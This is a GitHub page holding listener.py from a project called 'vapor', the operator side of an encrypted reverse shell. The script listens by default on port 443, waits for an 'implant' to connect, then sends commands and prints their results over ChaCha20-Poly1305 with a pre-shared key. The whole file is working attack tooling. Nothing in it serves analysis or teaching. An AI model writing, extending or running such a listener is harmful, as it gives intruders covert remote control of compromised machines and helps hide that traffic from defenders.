-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlistener.py
More file actions
263 lines (221 loc) · 6.79 KB
/
listener.py
File metadata and controls
263 lines (221 loc) · 6.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#!/usr/bin/env python3
"""vapor listener — ChaCha20-Poly1305 encrypted TCP reverse shell."""
import argparse
import os
import socket
import struct
import sys
import threading
import time
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
NONCE_SIZE = 12
MAC_SIZE = 16
# ── catppuccin mocha ──
C_BLUE = "\033[38;2;137;180;250m"
C_SAPPHIRE = "\033[38;2;116;199;236m"
C_TEAL = "\033[38;2;148;226;213m"
C_GREEN = "\033[38;2;166;227;161m"
C_RED = "\033[38;2;243;139;168m"
C_MAUVE = "\033[38;2;203;166;247m"
C_PEACH = "\033[38;2;250;179;135m"
C_TEXT = "\033[38;2;205;214;244m"
C_SUBTEXT = "\033[38;2;166;173;200m"
C_OVERLAY = "\033[38;2;108;112;134m"
C_SURFACE = "\033[38;2;69;71;90m"
C_RESET = "\033[0m"
C_BOLD = "\033[1m"
def encrypt_msg(key, plaintext):
"""Encrypt -> [nonce(12)][ciphertext][mac(16)]."""
nonce = os.urandom(NONCE_SIZE)
ct_and_tag = ChaCha20Poly1305(key).encrypt(
nonce, plaintext, None
)
return nonce + ct_and_tag
def decrypt_msg(key, data):
"""Decrypt [nonce(12)][ciphertext][mac(16)] -> plaintext."""
nonce = data[:NONCE_SIZE]
ct_and_tag = data[NONCE_SIZE:]
return ChaCha20Poly1305(key).decrypt(
nonce, ct_and_tag, None
)
def recv_exact(sock, n):
"""Loop recv until exactly n bytes received."""
buf = b""
while len(buf) < n:
chunk = sock.recv(n - len(buf))
if not chunk:
return None
buf += chunk
return buf
def send_msg(sock, key, plaintext):
"""Encrypt, length-prefix, and send."""
encrypted = encrypt_msg(key, plaintext)
header = struct.pack("<I", len(encrypted))
sock.sendall(header + encrypted)
def recv_msg(sock, key):
"""Recv length-prefixed encrypted message and decrypt."""
header = recv_exact(sock, 4)
if header is None:
return None
size = struct.unpack("<I", header)[0]
if size > 65600:
return None
payload = recv_exact(sock, size)
if payload is None:
return None
return decrypt_msg(key, payload)
def print_banner(lhost, lport, key_hex):
"""Print startup banner in Catppuccin Mocha colors."""
print()
print(f" {C_BLUE}{C_BOLD}"
f" __ ____ _ _ __ ___ _ __ {C_RESET}")
print(f" {C_SAPPHIRE}{C_BOLD}"
f" \\ \\ / / _` | '_ \\ / _ \\| '__| "
f"{C_RESET}")
print(f" {C_TEAL}{C_BOLD}"
f" \\ V / (_| | |_) | (_) | | "
f"{C_RESET}")
print(f" {C_GREEN}{C_BOLD}"
f" \\_/ \\__,_| .__/ \\___/|_| "
f"{C_RESET}")
print(f" {C_GREEN}{C_BOLD}"
f" |_| "
f"{C_RESET}")
print()
print(
f" {C_OVERLAY}chacha20-poly1305 "
f"reverse shell{C_RESET}"
)
print(f" {C_SURFACE}{'-' * 36}{C_RESET}")
print(
f" {C_BLUE}[*]{C_RESET} Listening on "
f"{C_TEXT}{lhost}:{lport}{C_RESET}"
)
print(
f" {C_BLUE}[*]{C_RESET} PSK: "
f"{C_PEACH}{key_hex[:8]}{C_OVERLAY}..."
f"{C_PEACH}{key_hex[-8:]}{C_RESET}"
)
print(f" {C_SURFACE}{'-' * 36}{C_RESET}")
print()
def handle_session(conn, addr, key):
"""Interactive session with connected implant."""
print(
f"{C_GREEN}[+]{C_RESET} Connection from "
f"{C_TEXT}{addr[0]}:{addr[1]}{C_RESET}"
)
print(
f"{C_BLUE}[*]{C_RESET} Session open. "
f"Type commands or "
f"{C_RED}'exit'{C_RESET} to quit.\n"
)
while True:
try:
cmd = input(f"{C_MAUVE}vapor>{C_RESET} ")
except (EOFError, KeyboardInterrupt):
print(f"\n{C_RED}[!]{C_RESET} Closing session.")
break
cmd = cmd.strip()
if not cmd:
continue
try:
send_msg(conn, key, cmd.upper().encode("utf-8")
if cmd.lower() == "exit"
else cmd.encode("utf-8"))
except (BrokenPipeError, ConnectionError):
print(
f"{C_RED}[!]{C_RESET} Connection lost."
)
break
if cmd.lower() == "exit":
print(f"{C_PEACH}[*]{C_RESET} EXIT sent.")
break
# Show spinner while waiting for response
stop_spinner = threading.Event()
def spinner():
chars = "\\|/-"
i = 0
start = time.time()
while not stop_spinner.is_set():
elapsed = time.time() - start
print(
f"\r{C_PEACH}[{chars[i % 4]}]{C_RESET}"
f" Waiting... {elapsed:.0f}s",
end="", flush=True,
)
i += 1
stop_spinner.wait(0.15)
print("\r" + " " * 40 + "\r", end="", flush=True)
t = threading.Thread(target=spinner, daemon=True)
t.start()
try:
result = recv_msg(conn, key)
except Exception:
stop_spinner.set()
t.join()
print(
f"{C_RED}[!]{C_RESET} "
f"Decrypt failed or connection lost."
)
break
stop_spinner.set()
t.join()
if result is None:
print(
f"{C_RED}[!]{C_RESET} Connection closed."
)
break
output = result.decode("utf-8", errors="replace")
print(f"{C_GREEN}[+]{C_RESET} Result:")
print(f"{C_TEXT}{output}{C_RESET}")
conn.close()
def hex_decode_key(hex_str):
"""Decode 64-char hex string to 32 raw bytes."""
if len(hex_str) != 64:
raise ValueError(
f"PSK must be 64 hex chars (got {len(hex_str)})"
)
return bytes.fromhex(hex_str)
def main():
"""Entry point."""
parser = argparse.ArgumentParser(
description="vapor listener"
)
parser.add_argument(
"--lhost", default="0.0.0.0",
help="Listen address"
)
parser.add_argument(
"--lport", type=int, default=443,
help="Listen port"
)
parser.add_argument(
"--key", required=True,
help="64-char hex PSK (shared with implant)"
)
args = parser.parse_args()
try:
key = hex_decode_key(args.key)
except ValueError as e:
print(f"{C_RED}[!]{C_RESET} Invalid key: {e}")
sys.exit(1)
print_banner(args.lhost, args.lport, args.key)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(
socket.SOL_SOCKET, socket.SO_REUSEADDR, 1
)
srv.bind((args.lhost, args.lport))
srv.listen(1)
print(
f"{C_BLUE}[*]{C_RESET} Waiting for connection..."
)
try:
conn, addr = srv.accept()
except KeyboardInterrupt:
print(f"\n{C_RED}[!]{C_RESET} Shutting down.")
srv.close()
sys.exit(0)
handle_session(conn, addr, key)
srv.close()
if __name__ == "__main__":
main()